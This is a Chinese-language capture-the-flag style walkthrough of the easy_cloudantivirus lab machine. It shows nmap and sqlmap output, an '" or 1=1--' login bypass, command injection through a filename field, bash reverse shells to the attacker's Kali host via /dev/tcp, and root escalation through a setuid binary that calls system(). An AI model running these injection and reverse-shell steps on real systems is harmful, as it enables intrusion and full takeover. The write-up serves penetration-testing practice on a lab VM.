靶机: easy_cloudantivirus

准备

完成上面内容后,需要对 kali 与 target 做 快照记录 当前环境和布置,以免实验过程中出现错误造成不可挽回的损失

打靶流程

发现目标

此过程一般使用 Kali 中扫描工具 arp-scan, nmap, Fping, Nping, Arping, Nbtscan, ...

一般推荐 arp-scan 使用简单

  • 使用 sudo arp-scan -l -I eth1 寻找目标,发现目标 192.168.56.109

    ┌──(kali㉿kali)-[~]
    └─$ sudo arp-scan -l -I eth1 127 ⨯
    Interface: eth1, type: EN10MB, MAC: 08:00:27:ad:7a:24, IPv4: 192.168.56.111
    Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
    192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
    192.168.56.100 08:00:27:4d:8e:be PCS Systemtechnik GmbH
    192.168.56.109 08:00:27:17:f5:a8 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel
    Ending arp-scan 1.9.8: 256 hosts scanned in 2.201 seconds (116.31 hosts/sec). 3 responded
    • 在 arp-scan 中参数 -I--interface= 简写作用是指定扫描的接口,如果没有默认扫描 eth0
    • 在不知道网段使用 -l 参数,当然也可以直接填写需要扫描的网段
    • 应当核实第一步,可以在 VirtualBox 上查看靶机的 MAC 地址与上面的目标是否相同,这一步也是验证前面准备时的配置是否有用
  • 使用 nmap 对目标进行端口扫描,一个经典的 nmap 扫描命令 nmap -A -T4 192.168.56.109 即可

    ┌──(kali㉿kali)-[~]
    └─$ nmap -A -T4 192.168.56.109 1 ⨯
    Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-23 14:29 CST
    Nmap scan report for 192.168.56.109
    Host is up (0.0011s latency).
    Not shown: 998 closed tcp ports (conn-refused)
    PORT STATE SERVICE VERSION
    22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    | 2048 6a424b7c2a060f504b32cfb831e9c4f4 (RSA)
    | 256 81c7600fd71e56f7a31e9f7627bd3127 (ECDSA)
    |_ 256 7190c326ba3be8b3537e7353274d6baf (ED25519)
    8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
    |_http-server-header: Werkzeug/0.14.1 Python/2.7.15rc1
    |_http-title: Site doesn't have a title (text/html; charset=utf-8).
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 7.83 seconds
    • 参数 -A 用来进行操作系统及其版本的探测

    • 参数 -T4 可以加快执行速度

    • 从扫描结果我们可以得到以下信息

      • 操作系统 OS 是 Linux
      • 开放了两个端口 22/tcp(ssh: OpenSSH 7.6p1 Ubuntu 4), 8080/tcp(http: Werkzeug httpd 0.14.1)

注入测试

对于 ssh 目前没有头绪,我们可以尝试访问其开发的 http 服务

  • 使用浏览器访问 http://192.168.56.109:8080/,是一个普通网页,我们可以在网页中查看源码

    <html>
    <body>
    <h1>Cloud Anti-Virus Scanner!</h1>
    <h2>This is a beta Cloud Anti-Virus Scanner service.</h2>
    <h3>Please enter your invite code to start testing</h3>
    <form action="/login" method="POST">
    <input type="text" name="password" placeholder="Invite Code">
    <input type="submit" value="Log in">
    </form>
    </body>
    </html>
    • 通过源码分析,发现一个以 POST 方式提交的表单,其中只有一个名为 password 的数据
    • 表单提交指向 /login 网页,我们可以大致推理出,这个表单提交的数据是用于登录
    • 此处可以尝试进行注入测试
  • 在网站这发现网页内容中查找可能的注入点,我们可以使用 sqlmap 进行测试

    • 新建一个文件 target.txt
    • 使用 Kali 的 Firefox-ESR 在页面 http://192.168.56.109:8080/ 使用 Ctrl + Shift + I 打开 Web 开发者工具
    • Web 开发者工具中的网络工具对页面 http://192.168.56.109:8080/login 设置拦截
    • 在页面 http://192.168.56.109:8080/ 发送上面表单的 POST 请求
    • 复制拦截的该请求的请求头和请求数据到 target.txt 文件中
    • 使用命令 sqlmap -r target.txt -f --level 4 --risk 3
    ┌──(kali㉿kali)-[~/workspace]
    └─$ sqlmap -r testsql.txt -f --level 4 --risk 3
    ___
    __H__
    ___ ___[']_____ ___ ___ {1.6.10#stable}
    |_ -| . [(] | .'| . |
    |___|_ [(]_|_|_|__,| _|
    |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:18:43 /2022-10-23/ [15:18:43] [INFO] parsing HTTP request from 'testsql.txt'
    [15:18:43] [INFO] testing connection to the target URL
    [15:18:44] [INFO] testing if the target URL content is stable
    [15:18:44] [INFO] target URL content is stable
    [15:18:44] [INFO] testing if POST parameter 'password' is dynamic
    [15:18:44] [WARNING] POST parameter 'password' does not appear to be dynamic
    [15:18:44] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
    [15:18:45] [INFO] testing for SQL injection on POST parameter 'password'
    [15:18:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    [15:18:46] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
    got a refresh intent (redirect like response common to login pages) to '/scan'. Do you want to apply it from now on? [Y/n] Y
    [15:18:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
    [15:18:54] [INFO] POST parameter 'password' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable
    [15:18:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
    it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (4) value? [Y/n] Y
    [15:19:14] [INFO] testing 'Generic inline queries'
    [15:19:14] [INFO] testing 'SQLite inline queries'
    [15:19:14] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
    [15:19:14] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
    [15:19:14] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
    [15:19:14] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
    [15:20:15] [INFO] POST parameter 'password' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable
    [15:20:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    [15:20:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    • 从中可以看出存在注入点,并且 DBMS 可能是 SQLite
    • 并且从 [15:18:54] [INFO] POST parameter 'password' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable 可以看出注入类型 OR boolean-based
  • 构造 SQL 注入语句,已知注入类型 OR boolean-based 可以尝试比较通用的语句 " or 1=1-- 做为页面 http://192.168.56.109:8080/ 中表单的 password 值进行提交表单

到目前为止,我们成功登录 http://192.168.56.109:8080/scan 页面,通过简单的探索发现此页面是这个 Web 应用的后台管理页面,

其中存在数据提交,但通过关键词 Try scanning some of these files with our scanner! 知道传入的数据是被某种程序进行查杀,更多的是涉及 shell 中执行

<html>
<body>
<h1>Cloud Anti-Virus Scanner!</h1>
<h3>Try scanning some of these files with our scanner!</h3>
<pre>total 4756
-rwxr-xr-x 1 scanner scanner 1113504 Oct 21 2018 bash
-rwxr-xr-x 1 scanner scanner 34888 Oct 21 2018 bzip2
-rwxr-xr-x 1 scanner scanner 35064 Oct 21 2018 cat
-rw-rw-r-- 1 scanner scanner 68 Oct 21 2018 eicar
-rw-rw-r-- 1 scanner scanner 5 Oct 21 2018 hello
-rwxr-xr-x 1 scanner scanner 35312 Oct 21 2018 netcat
-rwxr-xr-x 1 scanner scanner 3633560 Oct 21 2018 python
</pre>
<form action="/output" method="POST">
<input type="filename" name="filename" placeholder="File Name">
<input type="submit" value="Scan!">
</form>
</body>
</html>

我们可以尝试使用 | 管道进行命令串联,改变回返的数据内容,并夹杂我们想要的信息

  • 输入尝试 a | id 得到了下面结果,这说明其中的数据没有过滤,我们可以通过这个执行命令

    uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)

反弹 shell

  • 通过这个漏洞,我们可以构建一个 a | ls | grep 'xxxxx' | 想要执行的命令

    • 我们可以查看是否存在 wget 有助于木马上传,配合 metasploit 攻击

    • 也可以使用 nc 反弹 shell 依次执行下面命令,但上面的 nc 版本不利于反弹,也可以使用 nc 实现但比较麻烦

    • nc 上传 bash 反弹木马程序

      • 表单提交 a | ls | grep 'xxxxx' | touch a.sh
      • 表单提交 a | ls | grep 'xxxxx' | nc -l -p 4444 -w6 > a.sh
      • 在 kali 执行 nc 192.168.56.109 4444 < 'bash -i >& /dev/tcp/192.168.56.111/23333 0>&1'
      • 在 kali 执行 netcat -lvp 23333 监听端口
      • 表单提交 a | ls | grep 'xxxxx' | bash a.sh 反弹 shell
    ┌──(kali㉿kali)-[~/workspace]
    └─$ netcat -lvp 23333
    listening on [any] 23333 ...
    192.168.56.109: inverse host lookup failed: Unknown host
    connect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 52396
    bash: cannot set terminal process group (694): Inappropriate ioctl for device
    bash: no job control in this shell
    scanner@cloudav:~/cloudav_app$ ls
    ls
    app.py
    a.sh
    database.sql
    get-pip.py
    get-pip.py.1
    get-pip.py.2
    get-pip.py.3
    samples
    templates
    scanner@cloudav:~/cloudav_app$
    • 成功反弹 shell

本质上此用户 scanner 的可行动服务就非常高,随便的方法都能攻破【不在进行其他 shell 反弹演示,有需求自行查找】

探索目标

我们已经进入目标的内部,我们探索一下目录、文件

  • 我们在用户根目录发现一个有特殊权限的文件 -rwsr-xr-x 1 root scanner 8.4K Oct 24 2018 update_cloudav

    scanner@cloudav:~$ ls -alh
    ls -alh
    total 60K
    drwxr-xr-x 6 scanner scanner 4.0K Oct 24 2018 .
    drwxr-xr-x 4 root root 4.0K Oct 21 2018 ..
    -rw------- 1 scanner scanner 5 Oct 24 2018 .bash_history
    -rw-r--r-- 1 scanner scanner 220 Oct 21 2018 .bash_logout
    -rw-r--r-- 1 scanner scanner 3.7K Oct 21 2018 .bashrc
    drwx------ 2 scanner scanner 4.0K Oct 21 2018 .cache
    drwxrwxr-x 4 scanner scanner 4.0K Oct 23 10:59 cloudav_app
    drwx------ 3 scanner scanner 4.0K Oct 21 2018 .gnupg
    drwxrwxr-x 3 scanner scanner 4.0K Oct 21 2018 .local
    -rw-r--r-- 1 scanner scanner 807 Oct 21 2018 .profile
    -rw-rw-r-- 1 scanner scanner 66 Oct 21 2018 .selected_editor
    -rwsr-xr-x 1 root scanner 8.4K Oct 24 2018 update_cloudav
    -rw-rw-r-- 1 scanner scanner 393 Oct 24 2018 update_cloudav.c
    • 在linux中,-s 指的是强制位权限,具有程序运行时子进程权限继承,s 权限位是一个敏感的权限位,容易造成系统的安全问题
    • 其中还含有源码 update_cloudav.c 我们可以查看源码,发现执行此命令需要一个参数,我们完全可以故技重施
    #include <stdio.h>
    
    int main(int argc, char *argv[])
    {
    char *freshclam="/usr/bin/freshclam"; if (argc < 2){
    printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
    return 1;
    } char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
    sprintf(command, "%s %s", freshclam, argv[1]);
    setgid(0);
    setuid(0);
    system(command);
    return 0; }
  • 获取 root 权限

    • Kali 设置 netcat -lvp 4444 监听 4444 端口
    • 靶机上 shell 反弹 touch b.sh && echo 'bash -i >& /dev/tcp/192.168.56.111/4444 0>&1' > b.sh && ./update_cloudav "a | ls | grep 'xxxxx' | bash b.sh"
    ┌──(kali㉿kali)-[~]
    └─$ netcat -lvp 4444
    listening on [any] 4444 ...
    192.168.56.109: inverse host lookup failed: Unknown host
    connect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 56672
    bash: cannot set terminal process group (694): Inappropriate ioctl for device
    bash: no job control in this shell
    root@cloudav:~# id
    id
    uid=0(root) gid=0(root) groups=0(root),1001(scanner)

游戏结束 GAMEOVER

靶机: easy_cloudantivirus的更多相关文章

  1. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

  2. Ms17-010进行WEB提权之实践下某培训靶机服务器

    前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...

  3. metasploit利用漏洞渗透攻击靶机

    1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...

  4. web 攻击靶机解题过程

    sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...

  5. Fowsniff: 1靶机入侵

    一.信息收集 1.存活主机扫描 arp-scan  -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...

  6. digitalworld.local: MERCY靶机入侵

    0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...

  7. Moonraker:1靶机入侵

      0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...

  8. FourAndSix: 2.01靶机入侵

      0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...

  9. Typhoon-v1.02 靶机入侵

      0x01 前言 Typhoon VM包含多个漏洞和配置错误.Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS ...

随机推荐

  1. 活动报名|对话贡献者:DolphinScheduler x Pulsar 在线 Meetup

    各位 DolphinScheduler 和 Pulsar 社区的小伙伴们,Apache DolphinScheduler x Pulsar 在线 Meetup 来啦! 导语 大数据任务调度.消息流的订 ...

  2. 【喜讯】Apache DolphinScheduler 荣获 “2020 年度十大开源新锐项目”

    经 10000+ 开发者公开票选,20+专家评审. 10+ 主编团打分,历经数月打磨,11 月 19 日,由InfoQ 发起并组织的[2020中国技术力量年度榜单评选]结果正式揭晓. 2020 年度十 ...

  3. 如何定义 Java 的回调函数,与 JavaScript 回调函数的区别

    JavaScript 中的回调函数 在 JavaScript 中经常使用回调函数,比如:get 请求.post 请求等异步任务.在我们请求之前以及请求之后,都需要完成一些固定的操作,比如:请求之前先从 ...

  4. a 标签 rel 属性值 opener 的作用

    <a> 元素,原英文单词为 anchor 的缩写,所以又称之为锚点元素.锚点元素的 href 属性用来创建通向其他网页.文件.同一页面内的位置.电子邮件地址或任何其他 URL 的超链接. ...

  5. Mybatis 懒加载使用及源码分析

    Mybatis 懒加载的使用 什么是懒加载?懒加载的意思就是在使用的时候才去加载,不使用不去加载,相反的就叫饥饿加载或者立即加载.懒加载在Mybatis中一般是存在与联合查询的情况,比如查询一个对象的 ...

  6. SSH免密登录的配置

    ssh登录 登录ssh一般情况有两种方法 密码登录 秘钥登录(免密) 大部分情况我们选择都是输入密码登录,平常使用暂时没有遇到什么问题.最近我编写了一些使用scp来传输文件的脚本,每一次scp都需要输 ...

  7. Haproxy部署及控制台使用手册

    一.介绍 1.简介 HAProxy是一个使用C语言编写开源软件,提供高可用,负载均衡,以及基于TCP(四层)和HTTP(七层)的应用程序代理: HAProxy特别适用于那些负载特大的web站点,这些站 ...

  8. KingbaseES ksqlrc文件介绍

    ksqlrc文件作用 ksql在连接到数据库后但在接收正常的命令之前,会尝试读取并执行该文件中的命令,如果加上-X参数,则跳过该文件. 系统级的启动文件是ksqlrc,文件在安装好的KingbaseE ...

  9. 【金九银十必问面试题】站在架构师角度分析问题,如何解决TCC中的悬挂问题

    "如何解决TCC中的悬挂问题"! 一个工作了4年的Java程序员,去京东面试,被问到这个问题. 大家好,我是Mic,一个工作了14年的Java程序员 这个问题面试官想考察什么方面的 ...

  10. Mysqldump 的 的 6 大使用场景的导出命令

    Mysqldump 选项解析 场景描述 1. 导出 db1.db2 两个数据库的所有数据. mysqldump -uroot -p -P8635 -h192.168.0.199 --hex-blob ...